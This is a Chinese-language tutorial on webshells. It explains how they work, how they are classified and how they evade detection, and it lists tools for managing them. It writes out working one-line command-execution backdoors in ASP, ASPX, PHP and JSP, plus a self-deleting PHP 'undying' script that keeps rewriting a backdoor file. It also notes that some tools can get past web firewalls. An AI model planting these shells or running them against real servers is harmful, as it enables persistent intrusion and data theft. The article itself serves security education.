WebShell基础
什么是WebShell?
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。
Webshell就是以asp
、php
、jsp
或者cgi
等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
利用Webshell可以在Web服务器上执行系统命令、窃取数据、植入病毒、Le索核心数据、SEO挂马等恶意操作,危害极大。
WebShell的特点
黑客使用Webshell的第一步通常是将其上传到可以访问的服务器中,例如利用用户CMS系统的第三方插件中的漏洞上传一个简单的php Webshell。当然,Webshell类型和作用也不完全相同,一些简单的Webshell只起到连接外界的作用,允许黑客插入更加精准的恶意脚本,执行他们所需要的指令;另外一些则可能更加复杂,带有数据库或文件浏览器,让黑客能够从数千英里之外的地方查看入侵系统的代码和数据。无论何种设计,Webshell都极其危险,是网络罪犯和高级持续威胁(APTs)的常用工具。Webshell常见的攻击特点主要有以下几点:
持久化远程访问
Webshell脚本通常会包含后门,黑客上传Webshell之后,就可以充分利用Webshell的后门实现远程访问并控制服务器,从而达到长期控制网站服务器的目的。此外,在上传完Webshell之后,黑客会选择自己修复漏洞,以确保没有其他人会利用该漏洞。通过这种方式,黑客就可以一种低调的姿态,避免与管理员进行任何交互,同时仍然获得相同的结果。
提权
在服务器没有配置错误的情况下,Webshell将在web服务器的用户权限下运行,而用户权限是有限的。通过Webshell,黑客可以利用系统上的本地漏洞来实现权限提升,从而获得Root权限,这样黑客基本上可以在系统上做任何事情,包括安装软件、更改权限、添加和删除用户、窃取密码、阅读电子邮件等等。
隐蔽性极强
Webshell可以嵌套在正常网页中运行,且不容易被查杀。它还可以穿越服务器防火墙,由于与被控制的服务器或远程主机交互的数据都是通过80端口传递,因此不会被防火墙拦截,在没有记录流量的情况下,Webshell使用post包发送,也不会被记录在系统日志中,只会在Web日志中记录一些数据提交的记录。
WebShell的分类
Webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,JSP脚本木马,也有基于.NET的脚本木马。根据时代和技术的变迁,也有用python和lua编写的脚本木马,常用有如下几种:
大马
•体积大,功能全•会调用系统关键函数•以代码加密进行隐藏
小马
•体积小,功能少•一般只有一个上传功能,用于上传大马
一句话木马
•代码短•使用场景大,可单独生成文件,可插入文件•安全性高,隐藏性强,可变形免杀•框架不变,数据执行,数据传递
打包马
•主要用于打包网站源码
拖库马
•主要用于导出网站数据库
内存马
•无文件落地•极难检测和发现•难以清除
注:之后所讲的WebShell就是指一句话木马
WebShell的原理
Webshell的恶意性表现在它的实现功能上,是一段带有恶意目的的正常脚本代码。
不同脚本类型的一句话木马:
代码语言:javascript复制<%eval request(“cmd”)%>
代码语言:javascript复制<%@ Page Language=”Jscript”%><%eval(Request.Item[“cmd”],”unsafe”);%>
代码语言:javascript复制<?php @eval($_POST[‘cmd’]); ?>
代码语言:javascript复制<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
Untitled Diagram.drawio (4)
这里仅对PHP的一句话木马进行分析,核心步骤如下:
image-20211215203228477
数据的传递
•_GET、_POST、_COOKIES、_REQUEST、_FILE、_SERVER•从远程远程URL中获取数据: file_get_contents、curl、svn_checkout...(将需要执行的指令数据放在远程URL中,通过URL_INCLUDE来读取)•从本地磁盘文件中获取数据: file、file_get_contents...(将需要执行的指令数据放在本地磁盘文件中,利用IO函数来读取)•从数据库中读取(将需要执行的指令放在数据库中,利用数据库函数来读取)•从图片头部中获取: exif_read_data...(将需要执行的指令数据放在图片头部中,利用图片操作函数来读取)
代码执行
将用户传输的数据进行执行
•代码执行函数:eval、assert、system…执行(这是最普通、标准的代码执行)•LFI:include、require...(利用浏览器的伪协议将文件包含转化为代码执行)•动态函数执行:(()...PHP的动态函数特性)•Curly Syntax:({
内存马
有关Java内存马以及JspWebShell的免杀我打算之后在Java代码审计中详细讲解,这里就全部以PHP的脚本木马为主。
何为内存马?
内存马是无文件攻击的一种常用手段,随着攻防演练热度越来越高:攻防双方的博弈,流量分析、EDR等专业安全设备被蓝方广泛使用,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,内存马使用越来越多。
Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。
PHP内存马
PHP内存马,也叫做PHP不死马、不死僵尸,在线下AWD中是常用手段之一。在蚁剑中也有专门的插件可以一键注入内存马。原理也很简单,相对于Java可以直接把整个shell写入内存,php内存马的实现则是将一个木马反复写入,达到无法删除的目的。
代码语言:javascript复制<?php
ignore_user_abort(true); //设置客户端断开连接时是否中断脚本的执行
set_time_limit(0); //设置脚本最大执行时间linux下可能不大好用
unlink(__FILE__); //删除自身
$file = 'shell.php';
$code = '<?php @eval($_POST["cmd"]);?>';
while (1) {
file_put_contents($file, $code);//恶意代码
usleep(5000); //延迟执行可有可无
}
?>
本质上原理是不变大,执行死循环,然后删除自身。但实际上这样做还是会有文件落地,只是管理员删不掉、删不完罢了。我们也可以用利用fastcgi对php攻击执行命令,但这样是否算一个驻留wenshell还有待争议。
WebShell管理工具
中国菜刀(Chopper)
中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理!在非简体中文环境下使用,自动切换到英文界面。UNICODE方式编译,支持多国语言输入显示。
img
蚁剑(AntSword)
中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!使用编/解码器进行流量混淆可绕过WAF,并且有多款实用插件。
项目地址:
•https://github.com/AntSwordProject/antSword
img
冰蝎(Behinder)
冰蝎是一款基于Java开发的动态二进制加密通信流量的新型Webshell客户端,由于它的通信流量被加密,使用传统的WAF、IDS等设备难以检测,目前在HVV中使用较多的一款工具。
项目地址:
•http://github.com/rebeyond/Behinder
image-20211215212435990
哥斯拉(Godzilla)
哥斯拉是一款继冰蝎之后又一款于Java开发的加密通信流量的新型Webshell客户端,内置了3种有效载荷以及6种加密器,6种支持脚本后缀,20个内置插件,也是目前在HVV中使用较多的一款工具。
•项目地址:https://github.com/BeichenDream/Godzilla
image-20211215212156298
C刀(Cknife)
C刀是一款基于Java开发的完全基于配置文件的中国菜刀,跨平台,脚本类型支持ASP、ASPX、PHP、JSP、JSPX、Customize,目前完成的功能有:文件管理、数据库管理、模拟终端以及代理设置等。
项目地址:
•https://github.com/Chora10/Cknife
img
Web版菜刀(WebKnife)
WebKnife是陌小离练习ajax时候写的一款半成品Web版菜刀,目前完成的功能有:文件管理,虚拟终端,文件查看,图片查看,一键挂黑,作者居然还是个00后,tql!
项目地址:
•https://github.com/MoLeft/WebKnife
image-20211215212901421
XISE
XISE是小骏用易语言开发的一款类似于中国菜刀的Webshell网站管理工具,早些年做黑帽SEO的基本人手一份,现在已经停止更新,至于什么原因,大家都懂的!!!
image-20211215213347206
开山斧
开山斧是一款基于Python 2.7X QT4开发的一款跨平台菜刀 (Win/Linux/Mac),体积比较大,刚出来时只用过一次,现在用的人应该不多,也已经停止更新了。
项目地址:
•https://github.com/pyqteval/evlal_win
image-20211215213540041
K8飞刀
K8飞刀是K8哥哥开发的一款Webshell网站管理工具,不得不说他开发的安全工具都很强大且实用,只不过个人感觉略显臃肿,对新人来说可能不是很友好,有兴趣的可以自己去看一下。
项目地址:
•https://github.com/k8gege/K8tools
image-20211215213619014
Weevely
Weevely是一款python编写的生成和管理php webshell的安全测试工具,目前拥有30多个模块:文件管理、命令执行、数据库管理、端口扫描等功能,部分模块不支持在Windows环境下使用。
项目地址:
•https://github.com/epinna/weevely3
image-20211215213910978
WeBaCoo
WeBaCoo是一款Perl语言编写的Web后门工具,它的特别之处在于Web服务器和客户端之间的通信载体是Cookie,这就意味着多数的杀毒软件、网络入侵检测/防御系统、网络防火墙和应用程序防火墙都无法检测到该后门的存在。当然,这只是以前的介绍,现在基本都会被检测了。
项目地址:
•https://github.com/anestisb/WeBaCoo
image-20211215213941743
原创作者:Ulysses
内部学员投稿